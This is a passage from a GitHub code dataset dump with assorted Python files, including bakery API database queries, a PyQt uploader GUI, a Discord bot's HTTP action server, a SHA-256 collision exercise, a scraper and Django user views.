query.filter(models.Order.is_delivery==is_delivery)\n if created_at is not None:\n query = query.filter(cast(models.Order.created_at,Date)==created_at)\n if branch_id is not None:\n query = query.filter(models.Departments.branch_id==branch_id)\n return query.order_by(models.Order.id.desc()).all()\n\n\n\ndef insert_branches(db:Session,items):\n for item in items:\n try:\n new_item = models.Branchs(country='Uzbekistan', name=item[0],status=1,id=item[1])\n db.add(new_item)\n db.commit()\n db.refresh(new_item)\n except:\n db.rollback()\n return \"Error: Unique constraint violation.\"\n return True\n\ndef insert_departments(db:Session,items):\n for item in items:\n try:\n new_item = models.Departments( name=item[0],status=1,id=item[1],branch_id=item[2])\n db.add(new_item)\n db.commit()\n db.refresh(new_item)\n except:\n db.rollback()\n return \"Error: Unique constraint violation.\"\n return True\n\n\ndef get_branches_list(db:Session,id):\n query = db.query(models.Branchs)\n if id is not None:\n query = query.filter(models.Branchs.id==id)\n return query.all()\n\n\ndef get_dep_with_branch(db:Session,id):\n query = db.query(models.Departments).filter(models.Departments.branch_id==id).first()\n return query\n\ndef add_product_groups(db:Session,id,code,name):\n try:\n query = models.Groups(name=name,code=code,id=id)\n db.add(query)\n db.commit()\n return True\n except:\n db.rollback()\n return \"Error: Unique constraint violation.\"\n \ndef add_products(db:Session,id,name,producttype,groud_id,price):\n try:\n query = models.Products(id=id,name=name,productType=producttype,group_id=groud_id,price=price)\n db.add(query)\n db.commit()\n return True\n except:\n db.rollback()\n return \"Error: Unique constraint violation.\"\n\ndef get_product_groups(db:Session,id:Optional[UUID]=None,name:Optional[str]=None):\n query = db.query(models.Groups)\n if id is not None:\n query = query.filter(models.Groups.id==id) \n if name is not None:\n query = query.filter(models.Groups.name.ilike(f\"%{name}%\")) \n return query.all()\n\ndef get_products(db:Session,id:Optional[UUID]=None,group_id:Optional[UUID]=None,status:Optional[int]=None,name:Optional[str]=None):\n query = db.query(models.Products)\n if id is not None:\n query = query.filter(models.Products.id==id)\n if group_id is not None:\n query = query.filter(models.Products.group_id==group_id)\n if status is not None:\n query = query.filter(models.Products.status==status)\n if name is not None:\n query = query.filter(models.Products.name.ilike(f\"%{name}%\"))\n return query.all()\n\n\n\ndef get_subcategory_with_id(db:Session,id):\n query = db.query(models.SubCategory).filter(models.SubCategory.id==id).first()\n return query\n\n\ndef update_order_product(db:Session,form_data:api_schema.OrderProductUpdate):\n query = db.query(models.OrderProducts).filter(models.OrderProducts.id==form_data.id).first()\n if query:\n if form_data.amount is not None:\n query.amount = form_data.amount\n if form_data.comment is not None:\n query.comment = form_data.comment\n if form_data.floor is not None:\n query.floor = form_data.floor\n if form_data.portion is not None:\n query.portion=form_data.portion\n db.commit()\n \n return query\n\n\ndef add_filling(db:Session,form_data:api_schema.FillingAddGet):\n query = models.Fillings(name=form_data.name,ptype=form_data.ptype,category_id=form_data.category_id)\n db.add(query)\n db.commit()\n db.refresh(query)\n\n return query\n\ndef update_filling(db:Session,form_data:api_schema.FillingUpdate):\n query = db.query(models.Fillings).filter(models.Fillings.id==form_data.id).first()\n if query:\n if form_data.name is not None:\n query.name=form_data.name\n if form_data.status is not None:\n query.status = form_data.status\n if form_data.ptype is not None:\n query.ptype=form_data.ptype\n db.commit()\n return query\n\ndef get_filling(db:Session,id,ptype,status,name,category_id):\n query = db.query(models.Fillings)\n if id is not None:\n query = query.filter(models.Fillings.id==id)\n if ptype is not None:\n query = query.filter(models.Fillings.ptype==ptype)\n if status is not None:\n query = query.filter(models.Fillings.status==status)\n if name is not None:\n query = query.filter(models.Fillings.name.ilike(f\"%{name}%\"))\n if category_id is not None:\n query = query.filter(models.Fillings.category_id==category_id)\n return query.all()\n\n\ndef add_order_filling(db:Session,order_id,filling_id,floor):\n query = models.OrderFilling(order_id=order_id,filling_id=filling_id,floor=floor)\n db.add(query)\n db.commit()\n return True\n\ndef delete_order_filling(db:Session,order_id):\n query = db.query(models.OrderFilling).filter(models.OrderFilling.order_id==order_id).delete()\n db.commit()\n return True\n\ndef cake_update(db:Session,form_data:api_schema.CakesUpdate):\n query = db.query(models.Products).filter(models.Products.id==form_data.id).first()\n if query:\n if form_data.status is not None:\n query.status=form_data.status\n if form_data.price is not None:\n query.price=form_data.price\n db.commit()\n db.refresh(query)\n return query","repo_name":"Safia-Bakery/api_mastika","sub_path":"apis/crud/queries.py","file_name":"queries.py","file_ext":"py","file_size_in_byte":16721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15458233263","text":"import numpy as np\nimport kirbytoolkit as ktk\n\n\ndef test_jackknife_arr():\n arr = [1, 2, 2, 3, 4]\n jkvar_true = 0.26\n jkvar_code = ktk.jackknife_array(arr)\n np.testing.assert_almost_equal(jkvar_code, jkvar_true, decimal=7)\n\n # Test a longer array\n arr = np.loadtxt('randomdata.dat')\n jkvar_true = 0.003031329328040*0.003031329328040\n jkvar_code = ktk.jackknife_array(arr)\n np.testing.assert_almost_equal(jkvar_code, jkvar_true, decimal=7)\n \n","repo_name":"matthewkirby/kirby_toolkit","sub_path":"kirbytoolkit/tests/test_jackknife.py","file_name":"test_jackknife.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31098269857","text":"import os\n\n\ndef count_jobs():\n if os.path.exists(\"tasks\") and os.listdir(\"tasks\"):\n n_jobs = len(\n [f for f in os.listdir(\"tasks\") if os.path.isfile(os.path.join(\"tasks\", f))])\n else:\n n_jobs = 0\n\n print(n_jobs)\n\n\nif __name__ == \"__main__\":\n count_jobs()\n\n","repo_name":"AurelienNioche/HotellingBathtub","sub_path":"avakas/count_jobs.py","file_name":"count_jobs.py","file_ext":"py","file_size_in_byte":293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74300682611","text":"from fastprogress import master_bar, progress_bar\nfrom fastprogress.fastprogress import format_time\nfrom ..callback import Callback\nfrom ..imports import partial\n\n\nclass ProgressbarCallback(Callback):\n order=20\n def begin_fit(self):\n self.epoch = 0\n self.mbar = master_bar(range(self.epochs))\n self.mbar.on_iter_begin()\n self.run.logger = partial(self.mbar.write, table=True)\n self.iter_in_dl = 0\n\n def begin_epoch(self):\n self.iter_in_dl = 0\n self.set_pb()\n self.pb.update(self.iter_in_dl)\n self.epoch += 1\n\n def after_loss(self):\n self.mbar.child.comment = 'Loss: {:.3f}'.format(self.recorder.records['loss'][-1])\n\n def after_batch(self):\n self.iter_in_dl += 1\n self.pb.update(self.iter_in_dl)\n\n def begin_validate(self):\n self.iter_in_dl = 0\n self.set_pb()\n self.pb.update(self.iter_in_dl)\n\n def after_all_batches(self):\n if self.run.training_canceled:\n self.mbar.write('Training cancelled at epoch %s - iter %s' % (self.epoch, self.run.iter))\n return True\n stats = 'Epoch {} - '.format(self.epoch)\n stats += self.stage + ': '\n for k in self.run.metrics[self.stage].keys():\n if self.metrics[self.stage][k]:\n stats += '{} - {:.2f} '.format(k, self.run.metrics[self.stage][k][-1])\n stats += ' '\n self.mbar.write(stats[:-1])\n\n def after_fit(self):\n self.mbar.on_iter_end()\n\n def set_pb(self):\n self.pb = progress_bar(self.run.dl, parent=self.mbar)\n self.mbar.update(self.epoch)\n","repo_name":"dalisson/callback_training_loop","sub_path":"training_library/callbacks/progress/progressbarcallback.py","file_name":"progressbarcallback.py","file_ext":"py","file_size_in_byte":1629,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"32605748632","text":"# hash.py\nimport hashlib\nimport sys\n\n# user inputs part\ndef main1():\n # user input strings\n input1 = input('String 1:')\n input2 = input('String 2:')\n\n # encrypt them both using sha256\n encrypted1 = encrypt(input1)\n encrypted2 = encrypt(input2)\n\n # display hashed data\n print(encrypted1)\n print(encrypted2)\n\n # calc and show bit difference\n diff = calc_hamming(encrypted1, encrypted2)\n print('Different bits:', diff)\n\n# finding collision part\ndef main2():\n # arg for bytes (2, 3, 4, ..., 12)\n num_bytes = int(sys.argv[1])\n d = {}\n a = 0\n no_collision = True\n while no_collision:\n a_hash = hashlib.sha256(bytes(a)).hexdigest()[:num_bytes]\n if a_hash in d:\n no_collision = False\n print(a, end='\\t')\n else:\n d[a_hash] = a\n # print(a_hash, ':', a)\n a += 1\n\n# expects a string\ndef encrypt(data_in):\n encrypted = hashlib.sha256(data_in.encode()).hexdigest()\n return encrypted\n\n# calculate the Hamming distance of two inputs\n# expects binary encoded data\ndef calc_hamming(a, b):\n # binary is complicated in python\n # simply get the binary digits of the inputs\n num_bits = max(len(a), len(b)) * 4\n a_bin = bin(int(a, 16))[2:].zfill(num_bits)\n b_bin = bin(int(b, 16))[2:].zfill(num_bits)\n\n # count differing bits\n count = 0\n for i in range(num_bits):\n if a_bin[i] != b_bin[i]:\n count += 1\n return count\n\nif __name__ == '__main__':\n main2()\n","repo_name":"devmart10/cpe321","sub_path":"task1/hash.py","file_name":"hash.py","file_ext":"py","file_size_in_byte":1514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13068555624","text":"# -*- coding: utf-8 -*-\n# audiogui/views.py\n\n\"\"\"This module provides the audiogui main window.\"\"\"\n\nfrom .customWidgets import BooksTable, FileSelector\nfrom time import sleep\nfrom PyQt6.QtCore import Qt\nfrom PyQt6.QtGui import QIcon\nfrom PyQt6.QtWidgets import (\n QMainWindow,\n QVBoxLayout,\n QHBoxLayout,\n QGridLayout,\n QLabel,\n QWidget,\n QStatusBar,\n QFileDialog,\n QPushButton,\n QListWidget,\n QProgressBar,\n)\n\nHEIGHT = 400\nWIDTH = 350\n\nclass Window(QMainWindow):\n def __init__(self):\n super().__init__()\n self._createRoot()\n self._createSrcSelector()\n self._createDestSelector()\n self._createBooksTable()\n self._createUploadControl()\n\n self.setMinimumHeight(HEIGHT)\n self.setMinimumWidth(WIDTH)\n\n def _createRoot(self): \n \"\"\" create parent widget and layout\"\"\"\n self._rootLayout = QVBoxLayout()\n self._root = QWidget()\n self._root.setLayout(self._rootLayout)\n self.setCentralWidget(self._root)\n\n def _createSrcSelector(self):\n \"\"\" Add Source File Selection the center widget\"\"\"\n self._srcWidget = FileSelector(\"Source Folder\")\n self._rootLayout.addWidget(self._srcWidget)\n self.setSrcButton, self.srcLineEdit = self._srcWidget.getItems()\n\n def _createDestSelector(self):\n \"\"\"Add Destination File Selection to the center widget\"\"\"\n self._destWidget = FileSelector(\"Destination Folder\")\n self._rootLayout.addWidget(self._destWidget)\n self.setDestButton, self.destLineEdit = self._destWidget.getItems()\n\n def _createBooksTable(self):\n \"\"\" Create table to hold books info\"\"\"\n self.table = BooksTable()\n self._rootLayout.addWidget(self.table)\n\n def _createUploadControl(self):\n \"\"\"Add Doc to control upload items\"\"\"\n uploadPanel = QWidget()\n layout = QGridLayout()\n uploadPanel.setLayout(layout)\n\n self.toUpload = QListWidget()\n self.uploadButton = QPushButton(\"Upload\")\n self.clearButton = QPushButton(\"Deselect\")\n\n layout.addWidget(QLabel(\"Books to upload\"))\n layout.addWidget(self.toUpload)\n layout.addWidget(self.uploadButton)\n layout.addWidget(self.clearButton)\n\n self._rootLayout.addWidget(uploadPanel)\n\n def createProgressBar(self, max=100):\n\n min = 0\n if (not hasattr(self, 'progressbarContainer')):\n # Create Base Element/Layout\n self.progressbarContainer = QWidget()\n layout = QHBoxLayout(self.progressbarContainer)\n self.progressbar = QProgressBar()\n layout.addWidget(self.progressbar)\n self.pLabel = QLabel(f'{min}/{max}')\n layout.addWidget(self.pLabel)\n self._rootLayout.addWidget(self.progressbarContainer)\n\n self.progressbar.setRange(min, max)\n self.progressbar.setValue(0)\n\n def updateProgressBar(self, value, text):\n self.progressbar.setValue(value)\n self.pLabel.setText(text)\n\n def setSrcLine(self, text):\n \"\"\" Sets text in in the Source Line Edit\"\"\"\n self.srcLineEdit.setText(text)\n\n def setDestLine(self, text):\n \"\"\" Sets text in in the Destination Line Edit\"\"\"\n self.destLineEdit.setText(text)\n\n def setStatusMessage(self, text, ms):\n \"\"\" Sets temporary text of the status bar for ms milliseconds\"\"\"\n self.statusBar().showMessage(text, ms)\n\n def setPermanentMessage(self, text):\n \"\"\" Sets A permanent text on the status bar. \n Normal = covered by temporary status\n Permanent = not covered by temporary status\"\"\"\n if hasattr(self, '_pStatus'):\n self.statusBar().removeWidget(self._pStatus)\n del self._pStatus\n self._pStatus = QLabel(text)\n self.statusBar().addPermanentWidget(self._pStatus)\n\n def showBooks(self, data):\n \"\"\" adds all the values in the dictionary to a BookTable widget \"\"\"\n self.table.setData(data)\n\n def selectDir(self, prompt, path):\n \"\"\" Open file selection dialog and return selected folder\"\"\"\n dirName = QFileDialog().getExistingDirectory(\n self,\n caption=prompt,\n directory=str(path))\n return dirName\n\n def killProgressBar(self, s):\n \"\"\"delete progressBar container after s seconds\"\"\"\n print(f'progress bar will be closed in {s} seconds')\n sleep(s)\n if(self.progressbarContainer.close()):\n print('success')\n else:\n print('fail')\n \n","repo_name":"erinep/auidoGui","sub_path":"audiogui/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":4574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22031487669","text":"# Simple lib to handle running a web server to allow HTTP requests\n#\n########################################################################################################\nimport sys\nimport threading\nimport http.server\nimport socket\nfrom json import loads, dumps\nfrom functools import partial\nfrom datetime import datetime\nimport configparser\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nsys.path.insert(0, '../')\nfrom lib.logger import Logger #pylint: disable=E0401\n\nclass Handler(BaseHTTPRequestHandler):\n\n\n def __init__(self, logger, actions, service, config, start_time, *args, **kwargs):\n self.start_time = start_time\n self.actions = actions\n self.logger = logger\n self.service = service\n self.config = config\n super().__init__(*args, **kwargs)\n\n\n # POST\n ####################################################################################################\n def do_POST(self):\n try:\n self.handle_POST()\n except Exception as e:\n self.logger.error('Failed to handle POST request: %s' % e)\n self.write_response(500, '')\n\n\n def handle_POST(self):\n if self.path == '/bounce':\n content = { \n 'request': 'Accepted',\n 'timestamp': str(datetime.now()),\n 'request_body': self.read_json_body()\n }\n self.write_response(200, dumps(content))\n\n elif self.path == '/action':\n # Check if valid secret\n if not self.auth():\n self.write_response(401, '')\n else:\n self.handle_POST_action()\n \n else:\n self.write_response(404, '')\n \n self.logger.debug('Request: POST %s' % self.path)\n\n\n def handle_POST_action(self):\n try:\n self.logger.debug('Web action received')\n action_json = self.read_json_body()\n \n # Check for missing fields\n if 'action' not in action_json or 'parameters' not in action_json :\n content = { \n 'request': 'Rejected',\n 'timestamp': str(datetime.now()),\n 'error': 'Invalid request, \\'action\\' and \\'parameters\\' are required fields'\n }\n self.write_response(400, dumps(content))\n return None\n\n self.logger.debug(f\"Processing action '{str(action_json['action'])}'\")\n response = {}\n try: \n response = self.actions[action_json['action']](self.service, action_json['parameters'])\n content = { \n 'request': 'Accepted',\n 'timestamp': str(datetime.now()),\n 'response': response\n }\n except Exception as e:\n content = { \n 'request': 'Failed',\n 'timestamp': str(datetime.now()),\n 'response': str(e)\n }\n self.write_response(200, dumps(content))\n except Exception as e:\n self.logger.warn(f'Handle POST exception: {e}')\n raise e # Rethrow, maybe add logging here?\n\n # GET\n ####################################################################################################\n \n def do_GET(self):\n try:\n self.handle_GET()\n except Exception as e:\n self.logger.error('Failed to handle GET request: %s' % e)\n self.write_response(500, '')\n\n\n def handle_GET(self):\n if self.path == '/health':\n content = { \n 'uptime': str(datetime.now() - self.start_time)\n }\n self.write_response(200, dumps(content))\n else:\n self.write_response(404, '')\n \n self.logger.debug('Request: GET %s' % self.path)\n ####################################################################################################\n\n\n def write_response(self, status_code, content):\n response = content.encode('utf-8')\n\n self.send_response(status_code)\n self.send_header('Content-Type', 'application/json')\n self.send_header('Content-Length', str(len(response)))\n self.end_headers()\n self.wfile.write(response)\n\n\n def read_json_body(self):\n try:\n length = int(self.headers['Content-Length'] )\n if length == 0:\n return None\n return loads(self.rfile.read(length).decode('utf-8'))\n except Exception as e:\n self.logger.warn('Failed to parse JSON body')\n self.logger.debug('JSON body parse exception: %s' % e)\n return ''\n\n\n def log_request(self, message):\n \"\"\" Do nothing \"\"\"\n pass\n\n\n def auth(self):\n secret = self.headers.get('Authorization')\n if not secret:\n return False\n return secret in self.config['COMMS_ACCEPTED_SECRETS'].split(',');\n\n\nclass Web_Server:\n\n\n def __init__(self, logger, actions, service, config):\n self.actions = actions\n self.logger = logger\n self.service = service\n self.config = config\n self.url = self.config['COMMS_IP']\n self.port = int(self.config['COMMS_PORT'])\n\n h = partial(Handler, logger, actions, service, config, datetime.now())\n\n # Create server\n try:\n server = http.server.ThreadingHTTPServer((self.url, self.port), h)\n self.thread = threading.Thread(target = server.serve_forever)\n self.thread.daemon = True\n except Exception as e:\n self.logger.error('Failed to create Web Server instance. Disabling...')\n self.logger.debug(e)\n\n\n def start(self):\n try:\n self.thread.start()\n self.logger.log('Web Server started ({host}:{port})'.format( host=self.url, port=self.port))\n except Exception as e:\n self.logger.error('Failed to start Web Server instance. Disabling...')\n self.logger.debug(e)\n\n########################################################################################################\n# Copyright (C) 2022 Liam Coombs, Sam Tipper\n#\n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n","repo_name":"MadVibes/discordbots","sub_path":"lib/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":6928,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"8319809848","text":"# Stwórz własną implementację kolejki FIFO.\n# Klasa kolejka (Queue) powinna na starcie przyjmować listę elementów.\n# Wśród metod powinny się znaleźć takie jak: wyswietlenie kolejki, sprawdzenie czy jest pusta,\n# dodanie elementu do kolejki (put), wyjęcie elementu z kolejki (get).\n# Utwórz kilka obiektów klasy Queue z różnymi parametrami.\n\nclass Queue():\n\n def __init__(self,queue):\n self.queue = queue\n\n def show(self):\n print(f'Oto zawartość kolejki: {self.queue}')\n\n def isempty(self):\n return len(self.queue) == 0\n\n def put(self,item):\n print(f'Dodałem element: {item}')\n self.queue.append(item)\n\n def get(self):\n if self.isempty():\n return print('Brak elementów')\n else:\n return self.queue.pop(0)\n\nkolejka = ['a','b','c','d']\nobj1 = Queue(kolejka)\n\nobj1.show()\nobj1.isempty()\nobj1.put('olala')\nobj1.show()\nprint(obj1.get())\nobj1.show()\nprint(obj1.get())\nobj1.show()\nprint(obj1.get())\nobj1.show()\nprint(obj1.get())\nobj1.show()\nprint(obj1.get())\nobj1.show()\nprint(obj1.get())\nobj1.show()","repo_name":"zlsk4170/Python-Codeme","sub_path":"11/oop_zad3.py","file_name":"oop_zad3.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43130010401","text":"from Tkinter import*\r\n\r\nobj=Tk()\r\nroot.iconbitmap(r'c:\\Python27\\DLLs\\My_Icon.ico')\r\n\r\n#Creating invisible Frames...\r\n\r\n# Fisrt Frame will be top by Default...\r\n\r\nTopFrame = Frame(obj)\r\nTopFrame.pack()\r\n\r\n#For Down FRAME we have to specify BOTTOM while packing it in.\r\n\r\nBottomFrame = Frame(obj)\r\nBottomFrame.pack(side=BOTTOM)\r\n\r\n#CREATING BUTTONS...\r\n\r\n\"\"\"\r\nButton(FrameName (or) GUIobject,text=\"Your Text\",bg=\"BackgroundColorName\",fg=\"ForegroundColorName\")\r\n\"\"\"\r\nButton1 = Button(TopFrame,text=\"BUTTON 1\",bg=\"yellow\",fg=\"red\")\r\nButton2 = Button(TopFrame,text=\"BUTTON 2\",bg=\"green\",fg=\"blue\")\r\nButton3 = Button(TopFrame,text=\"BUTTON 3\",bg=\"black\",fg=\"green\")\r\n\r\nButton4 = Button(BottomFrame,text=\"BUTTON 4\",bg=\"white\",fg=\"black\")\r\n\r\n#PACKING BUTTONS....\r\n\r\nButton1.pack(side=LEFT)\r\nButton2.pack(side=LEFT)\r\nButton3.pack(side=LEFT)\r\n\r\nButton4.pack(side=RIGHT)\r\n\r\nobj.mainloop()\r\n","repo_name":"RAVURISREESAIHARIKRISHNA/Python-2.7.12-3.5.2-","sub_path":"Frame_Button.py","file_name":"Frame_Button.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21152680811","text":"from operator import add, sub, mul, div\n\n\ndef calculate(expr):\n \"\"\"Evaluates the expression.\n\n Negative numbers are considered to be lame, and are thus not supported.\n\n \"\"\"\n operators = {'+': add, '-': sub, '*': mul, '/': div}\n order = reversed(['*', '/', '+', '-'])\n\n for op in order:\n if op in expr:\n numbers = map(calculate, expr.split(op, 1))\n return operators[op](numbers[0], numbers[1])\n\n return int(expr)\n","repo_name":"sergeio/string_calculator_kata","sub_path":"adder.py","file_name":"adder.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42348880303","text":"import matplotlib.pyplot as plot\nfrom Heap import pushDocument\nfrom Heap import popDocument\nfrom News import getNewsList\nimport math\nimport pickle\nfrom os import listdir\nfrom os.path import isfile, join\n\n\nheapDataSet = []\n\n\ndef heap(dictionary):\n heapDataSet.append([math.log10(dictionary.size), math.log10(dictionary.collectionSize)])\n\n\ndef storeHeapDataSet():\n with open('Laws/heap' + str(len(getNewsList())) + '.pickle', 'wb') as handle:\n pickle.dump(heapDataSet, handle, protocol=pickle.HIGHEST_PROTOCOL)\n\n\ndef showHeap():\n M = []\n T = []\n files = [f for f in listdir('Laws') if isfile(join('Laws', f))]\n for file in files:\n if file.startswith('heap'):\n file = open('Laws/' + file, 'rb')\n variable = pickle.load(file)\n for pair in variable:\n M.append(pair[0])\n T.append(pair[1])\n file.close()\n M.sort()\n T.sort()\n plot.plot(T, M)\n plot.show()\n\n\ndef showZipf(dictionary):\n cfs = []\n ranks = []\n iterate(dictionary.root)\n for i in range(0, min(10000, dictionary.size)):\n element = popDocument()\n ranks.append(math.log10(i + 1))\n cfs.append(math.log10(element[1]))\n\n plot.plot(ranks, cfs)\n plot.show()\n\n\ndef iterate(node):\n if node is None:\n return\n pushDocument(node.term, node.collectionFrequency)\n iterate(node.leftChild)\n iterate(node.rightChild)\n","repo_name":"ArmaghanSarvar/Parsearch-Search-Engine","sub_path":"Laws.py","file_name":"Laws.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"7203328128","text":"from domain import ContactInfo, EntityData\nimport re\nfrom requesthandler import get_url_soup,get_contents\nimport settings, persistence\n\n\ndef fill_in_contact_info(entity, soup):\n website=soup.select('div.sidebar a.website')\n if website:\n raw_contact_info = website[0].find_previous('p')\n if raw_contact_info:\n contact_info = ContactInfo(re.sub('','',str(raw_contact_info)))\n entity.contact_info = contact_info\n\n\ndef fill_in_entity_details(entity_data):\n\n soup = get_url_soup(settings.baseUrl + entity_data.entity_link)\n\n if soup:\n entity_data.website = get_url_from_entity_details(soup, \"website\")\n entity_data.twitter_url = get_url_from_entity_details(soup, \"twitter\")\n entity_data.status = 'ok'\n #fill_in_twitter_details(entity_data)\n #fill_in_contact_info(entity_data, soup)\n else:\n entity_data.status = 'error'\n\n\ndef fill_in_organization_details(organizations):\n\n print(\"Moving on to process %d organizations\" % len(organizations) )\n count = 0\n faulty_orgs=0\n\n for org_data in organizations:\n\n soup = get_url_soup(settings.baseUrl+org_data.entity_link)\n if soup:\n org_data.status = 'ok'\n fill_in_entity_details(org_data)\n org_data.children = [EntityData.extract_entity_id(image.parent['href'])\n for image in soup.select(\"img.brand\")]\n count += 1\n if count%10 == 0:\n print(\"Processed %d organizations\"%count)\n else:\n org_data.status = 'error'\n faulty_orgs += 1\n\n print(\"Processed %d organizations. %d of them were faulty\" % (len(organizations), faulty_orgs))\n\n\ndef fill_in_twitter_details(entity_data):\n soup = get_url_soup(entity_data.twitter_url)\n if soup:\n twitter_entity_url_selector = 'div.ProfileHeaderCard-url a'\n twitter_entity_url = find_one_with_css_selector(soup, twitter_entity_url_selector, 'href')\n if twitter_entity_url:\n resp= get_contents(twitter_entity_url)\n if resp:\n entity_data.twitter_entity_url = resp.url\n\n entity_data.twitter_entity_url_title = find_one_with_css_selector(soup, twitter_entity_url_selector, 'title')\n\n\ndef get_url_from_entity_details(soup, detail_name):\n if soup.select('div.sidebar a.%s' % detail_name):\n return soup.select('div.sidebar a.%s' % detail_name)[0]['href'].replace('#!/','')\n\n\ndef find_one_with_css_selector(soup, selector, *attr):\n if soup.select(selector):\n return soup.select(selector)[0].get(attr[0],\"\") if len(attr)>0 else soup.select(selector)[0]\n\n\ndef add_organization_details__to_brand(*,brands, organizations):\n faulty_brands = 0\n for brand in brands:\n brand.parent = organizations[brand.parent_id]\n if brand.status != 'ok':\n faulty_brands += 1\n\n print(\"Processed %d brands. %d of them were faulty\" % (len(brands), faulty_brands))\n\n\ndef get_brand_data(article):\n brand_link_selector = 'h2 a'\n brand_link = find_one_with_css_selector(article, brand_link_selector, 'href')\n brand_name = find_one_with_css_selector(article, brand_link_selector).text\n\n organization_link_selector = 'h3 a'\n organization_link = find_one_with_css_selector(article, organization_link_selector, 'href')\n organization_name = find_one_with_css_selector(article, organization_link_selector).text\n\n brand_data = EntityData(\"brand\", brand_link, brand_name, organization_link, organization_name)\n fill_in_entity_details(brand_data)\n\n return brand_data\n\n\ndef initialize__organization(article):\n\n organization_link_selector = 'h3 a'\n organization_link = find_one_with_css_selector(article, organization_link_selector, 'href')\n organization_name = find_one_with_css_selector(article, organization_link_selector).text\n\n return EntityData(\"organization\", organization_link, organization_name)\n\n\n","repo_name":"mcalavera81/hotelBrands","sub_path":"extractors.py","file_name":"extractors.py","file_ext":"py","file_size_in_byte":3949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18216505542","text":"class Solution:\n def minOperations(self, nums: List[int]) -> int:\n n = len(nums)\n ans = n\n nums = sorted(set(nums))\n\n for i, start in enumerate(nums):\n end = start + n - 1\n index = bisect_right(nums, end)\n uniqueLength = index - i\n ans = min(ans, n - uniqueLength)\n\n return ans\n","repo_name":"walkccc/LeetCode","sub_path":"solutions/2009. Minimum Number of Operations to Make Array Continuous/2009.py","file_name":"2009.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","stars":756,"dataset":"github-code","pt":"21"} +{"seq_id":"37391325885","text":"\"\"\"Users views.\"\"\"\n\n# Django REST Framework\nfrom rest_framework import status, viewsets, mixins\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import action\nfrom rest_framework_simplejwt.views import TokenObtainPairView, TokenRefreshView\n\n# Permissions\nfrom rest_framework.permissions import (\n AllowAny,\n IsAuthenticated\n)\nfrom cifo.users.permissions import IsAccountOwner\n\n# Serializer\nfrom cifo.users.serializers.users import (\n UserLoginSerializer,\n UserModelSerializer,\n UserSignUpSerializer,\n AccountVerificationSerializer,\n UserTokenRefreshSerializer\n)\n\n# Models\nfrom cifo.users.models import User\n\nclass UserLoginAPIView(TokenObtainPairView):\n \"\"\"User login API view.\"\"\"\n serializer_class = UserLoginSerializer\n\nclass UserTokenRefreshView(TokenRefreshView):\n \"\"\"Custom user token refresh view.\"\"\"\n serializer_class = UserTokenRefreshSerializer\n\nclass UserViewSet(mixins.RetrieveModelMixin,\n mixins.UpdateModelMixin,\n viewsets.GenericViewSet):\n \"\"\"User view set.\n Handle sign up, login and account verification\n \"\"\"\n\n queryset = User.objects.filter(is_active=True)\n serializer_class = UserModelSerializer\n lookup_field = 'identification'\n\n def get_permissions(self):\n \"\"\"Assing permissions based on action.\"\"\"\n if self.action in ['signup', 'login', 'verify']:\n permissions = [AllowAny]\n elif self.action in ['retrieve', 'update', 'partial_update', 'profile']:\n permissions = [IsAuthenticated, IsAccountOwner]\n else:\n permissions = [IsAuthenticated]\n return [permission() for permission in permissions]\n\n @action(detail=False, methods=['POST'])\n def signup(self, request):\n \"\"\"User sing up.\"\"\"\n serializer = UserSignUpSerializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n user = serializer.save()\n data = UserModelSerializer(user).data\n return Response(data, status=status.HTTP_201_CREATED)\n\n @action(detail=False, methods=['POST'])\n def verify(self, request):\n \"\"\"User account verification.\"\"\"\n serializer = AccountVerificationSerializer(data=request.data)\n serializer.is_valid(raise_exception=True)\n serializer.save()\n data = { 'message': 'Congratulation, now go to upload some files!' }\n return Response(data, status=status.HTTP_200_OK)","repo_name":"sgg10/CIFO","sub_path":"cifo/users/views/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":2318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23924284739","text":"from math import prod\nfrom tkinter import *\nfrom tkinter import ttk\nfrom tkinter import messagebox\nimport colors\nimport screens.manage_products_screen as mps\nimport api.product_types\nimport api.products\n\nframe = 0\n\ndef go_back(main):\n frame.forget()\n mps.manage_products_screen(main)\n\n\ndef add_prodcut_screen(main, product=None):\n\n product_types = api.product_types.getAll()\n\n style = ttk.Style()\n style.configure('TButton', foreground=colors.SECONDARY, width=20,\n borderwidth=1, focusthickness=3, focuscolor='none')\n\n 